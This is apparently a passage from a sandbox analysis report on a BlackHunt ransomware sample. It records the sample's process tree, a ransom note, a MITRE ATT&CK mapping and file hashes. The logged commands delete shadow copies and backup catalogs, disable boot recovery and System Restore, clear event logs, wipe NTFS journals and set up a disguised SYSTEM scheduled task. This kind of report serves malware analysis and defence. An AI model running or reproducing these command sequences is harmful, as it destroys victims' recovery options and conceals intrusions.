  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe" /F
  2⤵
  PID:2448
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2416
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1960
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1008
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:592
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2980
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1408
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1700
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2228
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1672
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1072
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:320
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:2204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2264
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2708
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:1588
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2904
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2240
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1644
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2540
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2636
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2120
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:280
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1788
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:960
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:796
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:808
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2712
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2848
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2340
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:1580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2752
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:236
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:204
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe"
  2⤵
  - Deletes itself
  PID:2952
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2416

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2520

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2392

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2768

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
0324cd8b64a7d7811e57a22d4743cfd8

SHA1
9549f49d3462a6d1711a69bfcd60ae200f10a61d

SHA256
544da3e51c66ccd61ff6e8995d9d8ac1840ac92290e9aec2567e533cd61551e1

SHA512
4a3edef9328f428db9c5e337a12a813f6648bbc2c81716c8b255a5a38b374a93b2081a92227f36d0a0e4f29bfb48101ea962aa9d8f0c535e2cf97cf2f9c76ff0

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
02eed030af539ad99637a427f554c26a

SHA1
8a04d14ee73c2906bec7281e4ed5707f5847d965

SHA256
fd16384c4d6f7ffe5ca916d3ac2ddd05207aef4977d39e63df6ae392512fa4c4

SHA512
01abd59efecc036e05f67d8b0d68dc47e6a8a2f55c9cdb2b8c34840518689dbfd4ffde84bd5da7199f6e5cbe598a4220f2bef558e86d4a9072764a4f802031d5

Download Submit
F:\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
6fd0fb0833669a341b596bdaedffb1ed

SHA1
444f52e12fa2ad507ea5e509e971538255cbc1d4

SHA256
03cdc9259556ff565f4bf8918ea04db26dfe7c5b5d5d3804ac1c6a31a3b34617

SHA512
37ec001fd7b96dbb48a270bb72fd0d64f8bd11715b33dac1ae16e788f9d3378bd17cc413c86b19d318e49a2a88123e141684b42d500a35ba6e6eb5fbac1241fd

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads